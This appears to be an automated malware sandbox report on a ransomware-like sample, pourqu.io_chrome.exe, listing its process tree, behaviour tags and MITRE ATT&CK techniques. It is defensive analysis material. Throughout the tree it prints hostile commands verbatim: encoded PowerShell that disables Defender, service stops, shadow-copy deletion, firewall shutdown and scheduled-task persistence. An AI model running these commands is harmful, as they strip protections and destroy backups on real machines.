PID 5360 wrote to memory of 5904	5360	pourqu.io_chrome.exe	138
PID 5360 wrote to memory of 3124	5360	pourqu.io_chrome.exe	139
PID 5360 wrote to memory of 872	5360	pourqu.io_chrome.exe	140
PID 5360 wrote to memory of 1640	5360	pourqu.io_chrome.exe	141
PID 5360 wrote to memory of 1712	5360	pourqu.io_chrome.exe	148
PID 5360 wrote to memory of 2452	5360	pourqu.io_chrome.exe	150
PID 5360 wrote to memory of 5476	5360	pourqu.io_chrome.exe	151
PID 3124 wrote to memory of 4464	3124	cmd.exe	152
PID 872 wrote to memory of 5504	872	cmd.exe	153
PID 4464 wrote to memory of 5516	4464	net.exe	175
PID 5148 wrote to memory of 4240	5148	cmd.exe	155
PID 1640 wrote to memory of 4312	1640	cmd.exe	156
PID 4328 wrote to memory of 2656	4328	cmd.exe	157
PID 2504 wrote to memory of 336	2504	cmd.exe	158
PID 5904 wrote to memory of 5748	5904	cmd.exe	159
PID 5148 wrote to memory of 208	5148	cmd.exe	160
PID 5360 wrote to memory of 652	5360	pourqu.io_chrome.exe	161
PID 5360 wrote to memory of 1612	5360	pourqu.io_chrome.exe	162
PID 5360 wrote to memory of 840	5360	pourqu.io_chrome.exe	165
PID 5360 wrote to memory of 4440	5360	pourqu.io_chrome.exe	166
PID 5360 wrote to memory of 1272	5360	pourqu.io_chrome.exe	168
PID 5360 wrote to memory of 4564	5360	pourqu.io_chrome.exe	169
PID 4476 wrote to memory of 4624	4476	chrome.exe	173
PID 4476 wrote to memory of 4624	4476	chrome.exe	173
PID 840 wrote to memory of 4924	840	net.exe	174
PID 4476 wrote to memory of 6048	4476	chrome.exe	176
PID 4476 wrote to memory of 4520	4476	chrome.exe	178
PID 4476 wrote to memory of 4520	4476	chrome.exe	178

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5360
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://pourqu.io
  2⤵
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4476
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffb65a7dcf8,0x7ffb65a7dd04,0x7ffb65a7dd10
    3⤵
    PID:3792
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=1544,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2412 /prefetch:3
    3⤵
    PID:5236
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2316,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2396 /prefetch:2
    3⤵
    PID:1496
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2104,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=2420 /prefetch:8
    3⤵
    PID:1088
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3036,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3148 /prefetch:1
    3⤵
    PID:5664
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3040,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    PID:2152
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3000,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4188 /prefetch:2
    3⤵
    PID:3640
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4484,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=4704 /prefetch:1
    3⤵
    PID:5276
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5176,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5168 /prefetch:8
    3⤵
    PID:4624
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=5344,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5620 /prefetch:8
    3⤵
    PID:6048
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4172,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5704 /prefetch:8
    3⤵
    PID:4520
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=4324,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3128 /prefetch:8
    3⤵
    PID:4388
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5788,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5800 /prefetch:8
    3⤵
    PID:5812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=5820,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5780 /prefetch:8
    3⤵
    PID:5012
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5936,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3184 /prefetch:8
    3⤵
    PID:4748
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=5944,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5704 /prefetch:8
    3⤵
    PID:4852
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --string-annotations --field-trial-handle=3384,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5460 /prefetch:8
    3⤵
    PID:5820
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=3156,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=5704 /prefetch:2
    3⤵
    PID:4884
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --string-annotations --gpu-preferences=UAAAAAAAAADoAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAABCAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=4292,i,15450345290067433114,17196971236698401964,262144 --variations-seed-version=20250618-180047.684000 --mojo-platform-channel-handle=3368 /prefetch:8
    3⤵
    PID:5616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:5432
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2376
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:4608
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:3540
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:3056
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:4072
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:2232
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2624
- - C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe"
    3⤵
    PID:1480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:4892
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:4548
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4764
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4900
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  PID:5100
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4892
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5148
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:4240
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    PID:208
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4328
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:2656
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    PID:336
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5904
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:5748
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3124
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:5516
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:872
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:5504
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1640
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    - Suspicious use of AdjustPrivilegeToken
    PID:4312
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:1712
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  PID:2452
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5476
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:652
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  PID:1612
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:840
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:4924
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:4440
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5928
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:1272
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4564

C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\133.0.6943.60\elevation_service.exe"
1⤵
PID:1628

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5988

C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
1⤵
PID:3692

C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
C:\Users\Admin\AppData\Local\Temp\pourqu.io_chrome.exe
1⤵
PID:5992

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:5516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4944

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

System Information Discovery